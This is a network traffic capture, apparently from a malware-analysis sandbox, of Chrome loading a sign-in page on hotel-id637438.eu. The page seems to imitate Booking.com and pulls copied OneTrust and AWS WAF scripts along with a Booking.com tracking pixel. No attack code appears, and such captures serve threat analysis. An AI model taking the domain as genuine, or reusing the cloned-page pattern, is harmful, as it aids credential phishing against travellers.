Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49741	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:28 UTC	785	OUT	GET /3QUMmaPSc1zJE8fm?1d5dbae49208cfc1=_lS2UB-jeCK3GwSghVeiNjmEsztwIdW7peYa2vZDcG9_rxjNXKGUggbLPnN7TQEc392g0yl5LlzycWWK62WEuv9s081EatjUJGdq6NB4-VZmKYAVzro0qFZezZFS_jIkEItyaozhwhYgHjS8-3uy08mWEj-5l14Eqq92qrY HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:28 UTC	357	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:28 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 81 Content-Type: image/png
2024-07-08 22:43:28 UTC	81	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 01 08 06 00 00 00 f4 22 7f 8a 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 0b 49 44 41 54 08 d7 63 60 80 02 00 00 09 00 01 63 2a 16 0d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"sRGBIDATc`c*IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49744	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:29 UTC	600	OUT	GET /static/otSDKStub.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:29 UTC	662	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 21230 Connection: close last-modified: Sat, 06 Jul 2024 13:10:36 GMT etag: "7fd4c8bf65167f7ec1ea248ed0ee7f65" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CQ%2BfcCpmk7pEaV4e5nehqGIzjEGOoA8e1mtXQGd07p0kYurhsGv%2Fqw2PYN3nPPDr0qEVhWbqc4TpQTalWMcJBKI20u73THOmkz8oVnabyWaDbecG0p2ug9VWrEXTVwRczTFy8g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397ec89578c6f-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:29 UTC	707	IN	Data Raw: 76 61 72 20 4f 6e 65 54 72 75 73 74 53 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 2c 6f 2c 70 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 4f 70 74 61 6e 6f 6e 43 6f 6e 73 65 6e 74 22 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 74 6d 6c 47 72 6f 75 70 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 6f 73 74 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 67 65 6e 56 65 6e 64 6f 72 73 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 76 65 6e 64 6f 72 73 53 65 72 76 69 63 65 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 49 41 42 43 6f 6f 6b 69 65 56 61 6c 75 65 3d 22 22 2c 74 68 69 73 2e 6f 6e 65 54 72 75 73 74 49 41 42 43 6f 6f 6b 69 65 Data Ascii: var OneTrustStub=function(t){"use strict";var a,o,p=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.vendorsServiceData=[],this.IABCookieValue="",this.oneTrustIABCookie
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 69 73 2e 69 73 4d 69 67 72 61 74 65 64 55 52 4c 3d 21 31 2c 74 68 69 73 2e 6d 69 67 72 61 74 65 64 43 43 54 49 44 3d 22 5b 5b 4f 6c 64 43 43 54 49 44 5d 5d 22 2c 74 68 69 73 2e 6d 69 67 72 61 74 65 64 44 6f 6d 61 69 6e 49 64 3d 22 5b 5b 4e 65 77 44 6f 6d 61 69 6e 49 64 5d 5d 22 2c 74 68 69 73 2e 75 73 65 72 4c 6f 63 61 74 69 6f 6e 3d 7b 63 6f 75 6e 74 72 79 3a 22 22 2c 73 74 61 74 65 3a 22 22 7d 7d 3b 28 6d 3d 67 3d 67 7c 7c 7b 7d 29 5b 6d 2e 44 61 79 73 3d 31 5d 3d 22 44 61 79 73 22 2c 6d 5b 6d 2e 57 65 65 6b 73 3d 37 5d 3d 22 57 65 65 6b 73 22 2c 6d 5b 6d 2e 4d 6f 6e 74 68 73 3d 33 30 5d 3d 22 4d 6f 6e 74 68 73 22 2c 6d 5b 6d 2e 59 65 61 72 73 3d 33 36 35 5d 3d 22 59 65 61 72 73 22 2c 28 6d 3d 69 3d 69 7c 7c 7b 7d 29 2e 4e 61 6d 65 3d 22 4f 54 47 50 50 Data Ascii: is.isMigratedURL=!1,this.migratedCCTID="[[OldCCTID]]",this.migratedDomainId="[[NewDomainId]]",this.userLocation={country:"",state:""}};(m=g=g\|\|{})[m.Days=1]="Days",m[m.Weeks=7]="Weeks",m[m.Months=30]="Months",m[m.Years=365]="Years",(m=i=i\|\|{}).Name="OTGPP
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 22 73 74 79 6c 65 22 21 3d 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 26 26 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 5b 74 2c 65 5d 29 2c 22 73 74 79 6c 65 22 21 3d 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7c 7c 65 7c 7c 74 68 69 73 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 73 74 79 6c 65 22 29 2c 22 73 74 79 6c 65 22 3d 3d 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 26 26 65 29 7b 74 68 69 73 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 73 74 79 6c 65 22 29 3b 76 61 72 20 69 2c 6e 3d 61 2e 73 74 72 54 6f 4f 62 6a 28 65 29 3b 66 6f 72 28 69 20 69 6e 20 6e 29 74 68 69 73 2e 73 74 79 6c 65 5b 69 Data Ascii: nt.prototype.setAttribute=function(t,e){if("style"!==t.toLowerCase()&&o.apply(this,[t,e]),"style"!==t.toLowerCase()\|\|e\|\|this.removeAttribute("style"),"style"===t.toLowerCase()&&e){this.removeAttribute("style");var i,n=a.strToObj(e);for(i in n)this.style[i
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 5b 65 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 76 61 72 20 69 3d 6e 75 6c 6c 3d 3d 28 69 3d 73 2e 77 69 6e 29 3f 76 6f 69 64 20 30 3a 69 2e 5f 5f 67 70 70 3b 69 66 28 69 2e 71 75 65 75 65 3d 69 2e 71 75 65 75 65 7c 7c 5b 5d 2c 69 2e 65 76 65 6e 74 73 3d 69 2e 65 76 65 6e 74 73 7c 7c 5b 5d 2c 21 74 2e 6c 65 6e 67 74 68 7c 7c 31 3d 3d 3d 74 2e 6c 65 6e 67 74 68 26 26 22 71 75 65 75 65 22 3d 3d 3d 74 5b 30 5d 29 72 65 74 75 72 6e 20 69 2e 71 75 65 75 65 3b 69 66 28 31 3d 3d 3d 74 2e 6c 65 6e 67 74 68 26 26 22 65 76 65 6e 74 73 22 3d 3d 3d 74 5b 30 5d 29 72 65 74 75 72 6e 20 69 2e 65 76 Data Ascii: pApi=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var i=null==(i=s.win)?void 0:i.__gpp;if(i.queue=i.queue\|\|[],i.events=i.events\|\|[],!t.length\|\|1===t.length&&"queue"===t[0])return i.queue;if(1===t.length&&"events"===t[0])return i.ev
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 77 69 6e 2e 5f 5f 67 70 70 3b 72 65 74 75 72 6e 20 6e 2e 65 76 65 6e 74 73 3d 6e 2e 65 76 65 6e 74 73 7c 7c 5b 5d 2c 6e 75 6c 6c 21 3d 28 69 3d 6e 29 26 26 69 2e 6c 61 73 74 49 64 7c 7c 28 6e 2e 6c 61 73 74 49 64 3d 30 29 2c 6e 2e 6c 61 73 74 49 64 2b 2b 2c 6e 2e 65 76 65 6e 74 73 2e 70 75 73 68 28 7b 69 64 3a 6e 2e 6c 61 73 74 49 64 2c 63 61 6c 6c 62 61 63 6b 3a 74 2c 70 61 72 61 6d 65 74 65 72 3a 65 7d 29 2c 7b 65 76 65 6e 74 4e 61 6d 65 3a 22 6c 69 73 74 65 6e 65 72 52 65 67 69 73 74 65 72 65 64 22 2c 6c 69 73 74 65 6e 65 72 49 64 3a 6e 2e 6c 61 73 74 49 64 2c 64 61 74 61 3a 21 30 2c 70 69 6e 67 44 61 74 61 3a 73 2e 67 65 74 50 69 6e 67 52 65 71 75 65 73 74 28 29 7d 7d 2c 74 68 69 73 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 Data Ascii: win.__gpp;return n.events=n.events\|\|[],null!=(i=n)&&i.lastId\|\|(n.lastId=0),n.lastId++,n.events.push({id:n.lastId,callback:t,parameter:e}),{eventName:"listenerRegistered",listenerId:n.lastId,data:!0,pingData:s.getPingRequest()}},this.removeEventListener=fu
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 6d 61 69 6e 44 61 74 61 46 69 6c 65 55 52 4c 28 29 2c 74 68 69 73 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 72 6f 73 73 6f 72 69 67 69 6e 22 29 7c 7c 6e 75 6c 6c 2c 74 68 69 73 2e 70 72 65 76 69 65 77 4d 6f 64 65 3d 22 74 72 75 65 22 3d 3d 3d 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 70 72 65 76 69 65 77 2d 6d 6f 64 65 22 29 2c 74 68 69 73 2e 6f 74 46 65 74 63 68 28 70 2e 62 61 6e 6e 65 72 44 61 74 61 50 61 72 65 6e 74 55 52 4c 2c 74 68 69 73 2e 67 65 74 4c 6f 63 61 74 69 6f 6e 2e 62 69 6e 64 28 74 68 69 73 29 29 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 44 6f 6d 61 69 6e Data Ascii: mainDataFileURL(),this.crossOrigin=p.stubScriptElement.getAttribute("crossorigin")\|\|null,this.previewMode="true"===p.stubScriptElement.getAttribute("data-preview-mode"),this.otFetch(p.bannerDataParentURL,this.getLocation.bind(this))},h.prototype.setDomain
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 70 47 65 6f 6c 6f 63 61 74 69 6f 6e 3f 28 65 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 2c 69 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 31 5d 2c 74 68 69 73 2e 73 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 65 2c 69 29 2c 74 68 69 73 2e 61 64 64 42 61 6e 6e 65 72 53 44 4b 53 63 72 69 70 74 28 74 29 29 3a 74 68 69 73 2e 67 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 74 29 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 6e 64 6c 65 42 75 6c 6b 44 6f 6d 61 69 6e 4d 67 6d 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 26 26 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 62 75 6c 6b 44 6f 6d 61 69 6e 4d 67 6d 74 45 6e 61 62 6c 65 64 22 2c 4a 53 4f 4e Data Ascii: pGeolocation?(e=i.split(";")[0],i=i.split(";")[1],this.setGeoLocation(e,i),this.addBannerSDKScript(t)):this.getGeoLocation(t)},h.prototype.handleBulkDomainMgmt=function(t,e){window.sessionStorage&&window.sessionStorage.setItem("bulkDomainMgmtEnabled",JSON
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 61 67 65 26 26 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 6f 74 50 72 65 76 69 65 77 44 61 74 61 22 29 3b 69 66 28 6e 65 77 20 52 65 67 45 78 70 28 22 5e 66 69 6c 65 3a 2f 2f 22 2c 22 69 22 29 2e 74 65 73 74 28 74 29 29 74 68 69 73 2e 6f 74 46 65 74 63 68 4f 66 66 6c 69 6e 65 46 69 6c 65 28 74 2c 69 29 3b 65 6c 73 65 20 69 66 28 30 3c 3d 74 2e 69 6e 64 65 78 4f 66 28 22 2f 63 6f 6e 73 65 6e 74 2f 22 29 26 26 74 68 69 73 2e 70 72 65 76 69 65 77 4d 6f 64 65 26 26 6f 29 7b 6f 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 6f 29 2e 64 6f 6d 61 69 6e 4a 73 6f 6e 3b 69 28 6f 29 7d 65 6c 73 65 7b 70 2e 6d 6f 62 69 6c 65 4f 6e 6c 69 6e 65 55 52 4c 2e 70 75 73 68 28 74 29 3b 76 61 72 20 73 3d 6e 65 77 20 58 4d 4c 48 74 74 70 Data Ascii: age&&window.sessionStorage.getItem("otPreviewData");if(new RegExp("^file://","i").test(t))this.otFetchOfflineFile(t,i);else if(0<=t.indexOf("/consent/")&&this.previewMode&&o){o=JSON.parse(o).domainJson;i(o)}else{p.mobileOnlineURL.push(t);var s=new XMLHttp
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 6f 77 65 72 43 61 73 65 28 29 2c 75 3d 30 3b 75 3c 74 2e 52 75 6c 65 53 65 74 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 69 66 28 21 30 3d 3d 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 2e 47 6c 6f 62 61 6c 29 6e 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 3b 65 6c 73 65 7b 76 61 72 20 6c 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 2e 53 74 61 74 65 73 3b 69 66 28 6c 5b 72 5d 26 26 30 3c 3d 6c 5b 72 5d 2e 69 6e 64 65 78 4f 66 28 73 29 29 7b 69 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 3b 62 72 65 61 6b 7d 30 3c 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 2e 43 6f 75 6e 74 72 69 65 73 2e 69 6e 64 65 78 4f 66 28 72 29 26 26 28 65 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 29 7d 72 65 74 75 72 6e 20 69 7c 7c 65 7c 7c 6e 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 73 75 72 65 48 74 6d 6c Data Ascii: owerCase(),u=0;u<t.RuleSet.length;u++)if(!0===t.RuleSet[u].Global)n=t.RuleSet[u];else{var l=t.RuleSet[u].States;if(l[r]&&0<=l[r].indexOf(s)){i=t.RuleSet[u];break}0<=t.RuleSet[u].Countries.indexOf(r)&&(e=t.RuleSet[u])}return i\|\|e\|\|n},h.prototype.ensureHtml
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 6f 6f 6b 69 65 73 50 61 72 61 6d 29 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 3b 74 3f 74 68 69 73 2e 69 73 42 6f 6f 6c 65 61 6e 28 74 29 3f 70 2e 6f 6e 65 54 72 75 73 74 49 41 42 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 3d 22 74 72 75 65 22 3d 3d 3d 74 3a 70 2e 6f 6e 65 54 72 75 73 74 49 41 42 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 3d 30 3c 3d 70 2e 45 55 43 4f 55 4e 54 52 49 45 53 2e 69 6e 64 65 78 4f 66 28 74 29 3a 70 2e 69 73 53 74 75 62 52 65 61 64 79 3d 21 31 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 69 73 42 6f 6f 6c 65 61 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 74 72 75 65 22 3d 3d 3d 74 7c 7c 22 66 61 6c 73 65 22 3d 3d 3d 74 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 61 64 43 6f 6f 6b Data Ascii: ookiesParam).split(";")[0];t?this.isBoolean(t)?p.oneTrustIABgdprAppliesGlobally="true"===t:p.oneTrustIABgdprAppliesGlobally=0<=p.EUCOUNTRIES.indexOf(t):p.isStubReady=!1},h.prototype.isBoolean=function(t){return"true"===t\|\|"false"===t},h.prototype.readCook

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49743	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:29 UTC	600	OUT	GET /static/challenge.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:29 UTC	668	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1093046 Connection: close last-modified: Sat, 06 Jul 2024 13:10:47 GMT etag: "bed5bf3e66f84a0ade9b60afcf8cd906" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iNUQw1dJUzzJ3hMQHaJokY4rTJVsuQdNwR%2BVmubB6F188gTCgv%2Br9CdV10zvlk2BCbdelxj9WT0juMEi3A%2B5AZcxrWc%2FQOsS6LcziQFmBXB2YFASAxNJth6z9EcykkzuXiE4NA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397ec9e2f9e17-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:29 UTC	701	IN	Data Raw: 2f 2a 21 20 3c 21 2d 40 70 72 65 73 65 72 76 65 20 41 57 53 20 57 41 46 20 49 6e 74 65 67 72 61 74 69 6f 6e 20 44 65 76 65 6c 6f 70 65 72 20 47 75 69 64 65 20 3c 68 74 74 70 73 3a 2f 2f 64 6f 63 73 2e 61 77 73 2e 61 6d 61 7a 6f 6e 2e 63 6f 6d 2f 77 61 66 2f 6c 61 74 65 73 74 2f 64 65 76 65 6c 6f 70 65 72 67 75 69 64 65 2f 77 61 66 2d 6a 61 76 61 73 63 72 69 70 74 2d 73 64 6b 2e 68 74 6d 6c 3e 2d 2d 3e 20 2a 2f 0a 76 61 72 20 61 32 5f 30 78 32 61 35 33 3d 5b 27 32 2e 35 2e 32 39 2e 33 35 27 2c 27 5f 5f 76 61 6c 75 65 73 27 2c 27 73 65 6e 74 27 2c 27 6e 6f 64 65 27 2c 27 74 61 67 27 2c 27 52 53 41 45 53 2d 50 4b 43 53 31 2d 56 31 5f 35 27 2c 27 73 69 67 6e 75 6d 27 2c 27 5f 5f 67 65 6e 65 72 61 74 6f 72 27 2c 27 74 6f 42 79 74 65 41 72 72 61 79 27 2c 27 63 Data Ascii: /! <!-@preserve AWS WAF Integration Developer Guide <https://docs.aws.amazon.com/waf/latest/developerguide/waf-javascript-sdk.html>--> /var a2_0x2a53=['2.5.29.35','__values','sent','node','tag','RSAES-PKCS1-V1_5','signum','__generator','toByteArray','c
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 6f 74 5c 78 32 30 65 6e 6f 75 67 68 5c 78 32 30 73 65 63 75 72 69 74 79 2e 27 2c 27 66 70 32 27 2c 27 41 72 6e 6f 5c 78 32 30 50 72 6f 5c 78 32 30 4c 69 67 68 74 5c 78 32 30 44 69 73 70 6c 61 79 27 2c 27 62 79 74 65 73 54 6f 49 50 76 36 27 2c 27 55 6e 65 78 70 65 63 74 65 64 5c 78 32 30 6d 65 73 73 61 67 65 2e 27 2c 27 74 69 6d 65 6f 75 74 27 2c 27 66 69 6c 6c 57 69 74 68 42 79 74 65 27 2c 27 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 27 2c 27 31 2e 32 2e 38 34 30 2e 31 31 33 35 34 39 2e 31 2e 37 2e 35 27 2c 27 7b 34 34 42 42 41 38 35 35 2d 43 43 35 31 2d 31 31 43 46 2d 41 41 46 41 2d 30 30 41 41 30 30 42 36 30 31 35 46 7d 27 2c 27 63 65 72 74 49 73 73 75 65 72 55 6e 69 71 75 65 49 64 27 2c 27 68 65 61 72 74 62 65 61 74 27 2c 27 66 6f 72 Data Ascii: ot\x20enough\x20security.','fp2','Arno\x20Pro\x20Light\x20Display','bytesToIPv6','Unexpected\x20message.','timeout','fillWithByte','getElementsByTagName','1.2.840.113549.1.7.5','{44BBA855-CC51-11CF-AAFA-00AA00B6015F}','certIssuerUniqueId','heartbeat','for
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 61 63 6b 54 69 6d 65 27 2c 27 72 65 74 72 69 65 73 27 2c 27 32 2e 35 2e 32 39 2e 33 37 27 2c 27 52 53 41 53 53 41 2d 50 4b 43 53 31 2d 56 31 5f 35 27 2c 27 69 6e 76 44 69 67 69 74 27 2c 27 61 74 74 72 69 62 75 74 65 27 2c 27 73 65 74 42 69 74 27 2c 27 43 65 72 74 69 66 69 63 61 74 65 5c 78 32 30 73 69 67 6e 61 74 75 72 65 5c 78 32 30 69 73 5c 78 32 30 69 6e 76 61 6c 69 64 2e 27 2c 27 56 69 6e 65 74 61 5c 78 32 30 42 54 27 2c 27 68 74 74 70 73 3a 2f 2f 64 65 76 65 6c 6f 70 6d 65 6e 74 2e 61 6d 61 7a 6f 6e 2e 63 6f 6d 2f 27 2c 27 4d 69 73 74 72 61 6c 27 2c 27 63 65 72 74 53 75 62 6a 65 63 74 55 6e 69 71 75 65 49 64 27 2c 27 67 65 74 50 72 69 76 61 74 65 4b 65 79 27 2c 27 73 75 70 70 6f 72 74 73 57 65 62 43 72 79 70 74 6f 53 75 62 74 6c 65 27 2c 27 75 70 64 Data Ascii: ackTime','retries','2.5.29.37','RSASSA-PKCS1-V1_5','invDigit','attribute','setBit','Certificate\x20signature\x20is\x20invalid.','Vineta\x20BT','https://development.amazon.com/','Mistral','certSubjectUniqueId','getPrivateKey','supportsWebCryptoSubtle','upd
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 5c 78 32 30 73 65 72 76 65 72 2e 27 2c 27 63 6f 6d 70 72 65 73 73 46 75 6e 63 74 69 6f 6e 27 2c 27 61 64 64 4c 6f 67 67 65 72 27 2c 27 63 74 72 27 2c 27 73 74 79 6c 65 27 2c 27 63 6f 6e 6e 65 63 74 65 64 27 2c 27 46 4f 52 4d 5f 49 44 5f 41 4c 49 41 53 45 53 27 2c 27 70 72 6f 66 69 6c 65 27 2c 27 63 68 61 6c 6c 65 6e 67 65 50 61 73 73 77 6f 72 64 27 2c 27 49 4e 54 45 47 45 52 27 2c 27 31 34 39 32 34 33 4b 73 47 56 44 6b 27 2c 27 6f 69 64 54 6f 44 65 72 27 2c 27 63 6f 6d 27 2c 27 44 45 53 2d 43 46 42 27 2c 27 63 72 65 61 74 65 46 69 6e 69 73 68 65 64 27 2c 27 63 61 74 63 68 27 2c 27 4e 45 57 5c 78 32 30 43 45 52 54 49 46 49 43 41 54 45 5c 78 32 30 52 45 51 55 45 53 54 27 2c 27 62 65 68 61 76 69 6f 72 27 2c 27 6b 68 74 6d 6c 27 2c 27 65 78 65 63 75 74 65 4e Data Ascii: \x20server.','compressFunction','addLogger','ctr','style','connected','FORM_ID_ALIASES','profile','challengePassword','INTEGER','149243KsGVDk','oidToDer','com','DES-CFB','createFinished','catch','NEW\x20CERTIFICATE\x20REQUEST','behavior','khtml','executeN
2024-07-08 22:43:29 UTC	728	IN	Data Raw: 2e 70 61 72 61 6d 73 27 2c 27 31 32 35 33 32 72 77 79 64 69 71 27 2c 27 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 27 2c 27 76 61 6c 75 65 73 27 2c 27 4a 61 73 6d 69 6e 65 55 50 43 27 2c 27 69 6e 74 65 72 61 63 74 69 76 65 27 2c 27 50 52 49 4e 54 41 42 4c 45 53 54 52 49 4e 47 27 2c 27 52 53 41 53 53 41 2d 50 53 53 27 2c 27 73 74 72 6f 6b 65 27 2c 27 4f 43 52 5c 78 32 30 41 5c 78 32 30 53 74 64 27 2c 27 52 45 4e 44 45 52 45 52 27 2c 27 61 70 70 4e 61 6d 65 27 2c 27 53 79 73 74 65 6d 27 2c 27 6b 65 79 57 61 73 50 72 65 73 73 65 64 27 2c 27 43 65 72 65 6d 6f 6e 69 6f 75 73 5c 78 32 30 54 77 6f 27 2c 27 74 6c 73 27 2c 27 6d 64 35 57 69 74 68 52 53 41 45 6e 63 72 79 70 74 69 6f 6e 27 2c 27 70 72 6f 62 61 62 6c 79 27 2c 27 73 65 73 73 69 6f 6e 5f 69 64 27 2c Data Ascii: .params','12532rwydiq','getRandomValues','values','JasmineUPC','interactive','PRINTABLESTRING','RSASSA-PSS','stroke','OCR\x20A\x20Std','RENDERER','appName','System','keyWasPressed','Ceremonious\x20Two','tls','md5WithRSAEncryption','probably','session_id',
2024-07-08 22:43:29 UTC	1369	IN	Data Raw: 63 72 69 70 74 27 2c 27 32 2e 35 2e 32 39 2e 31 35 27 2c 27 31 6e 41 68 61 46 51 27 2c 27 74 74 73 27 2c 27 53 77 69 73 37 32 31 5c 78 32 30 48 76 5c 78 32 30 42 54 27 2c 27 31 75 5a 4c 6f 52 78 27 2c 27 32 2e 35 2e 32 39 2e 33 31 27 2c 27 32 2e 35 2e 32 39 2e 32 34 27 2c 27 73 75 62 6a 65 63 74 44 69 72 65 63 74 6f 72 79 41 74 74 72 69 62 75 74 65 73 27 2c 27 70 6f 72 74 57 69 74 68 43 6f 6c 6f 6e 27 2c 27 50 4d 69 6e 67 4c 69 55 27 2c 27 63 6f 6e 74 65 6e 74 49 6e 66 6f 56 61 6c 69 64 61 74 6f 72 27 2c 27 73 65 74 55 54 43 48 6f 75 72 73 27 2c 27 53 48 41 31 27 2c 27 49 72 69 73 55 50 43 27 2c 27 66 6f 72 67 65 2e 70 6b 69 2e 55 6e 6b 6e 6f 77 6e 43 65 72 74 69 66 69 63 61 74 65 41 75 74 68 6f 72 69 74 79 27 2c 27 76 69 64 65 6f 2f 6d 